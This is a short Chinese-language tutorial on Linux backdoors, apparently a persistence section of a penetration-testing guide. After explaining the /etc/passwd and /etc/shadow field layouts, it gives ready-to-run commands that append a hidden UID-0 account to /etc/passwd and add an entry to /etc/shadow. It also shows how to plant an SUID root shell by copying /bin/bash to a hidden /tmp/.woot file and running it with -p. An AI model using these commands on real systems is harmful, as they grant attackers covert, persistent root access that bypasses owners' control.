passwd增加用户
先讲一下passwd和shadow文件的区别:
/etc/passwd 各部分含义: 用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL /etc/shadow 各部分含义: 用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用
通常情况下,我们在进行添加账户的时候是将账户信息输入到passwd文件中:
perl -le 'print crypt("passwd","salt")' sadtCr0CILzv2 # 上面是利用perl生成passwd加盐salt进行加密后的结果 echo "test:sadtCr0CILzv2:0:0:/root:/bin/bash">> /etc/passwd
然而如果系统不允许uid=0的用户远程登录,我们可以通过shadow增加一个普通用户账号:
echo "momaek:savbSWc4rx8NY:-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
SUID后门
当一个文件所属主的x标志位s(set uid简称suid)时,且所属主为root时,当执行该文件时,其实是以root身份执行的。
必要条件:
1、SUID权限仅对二进制程序有效。 2、执行者对于该程序需要具有x的可执行权限 3、本权限仅在执行该程序的过程中有效 4、在执行过程中执行者将具有该程序拥有者的权限
创建suid权限的文件:
$cp /bin/bash /tmp/.woot $chmod 4755 /tmp/.woot $ls -al /.woot
使用一般用户运行:
$/tmp/.woot $/tmp/.woot -p //bash2 针对 suid 有一些护卫的措施,使用-p参数来获取一个root shell
有的师傅可能对ID的知识有些迷茫,可以参考一下这个文章来进行理解: Real user ID, effective user ID, set user ID_fatshaw的博客-CSDN博客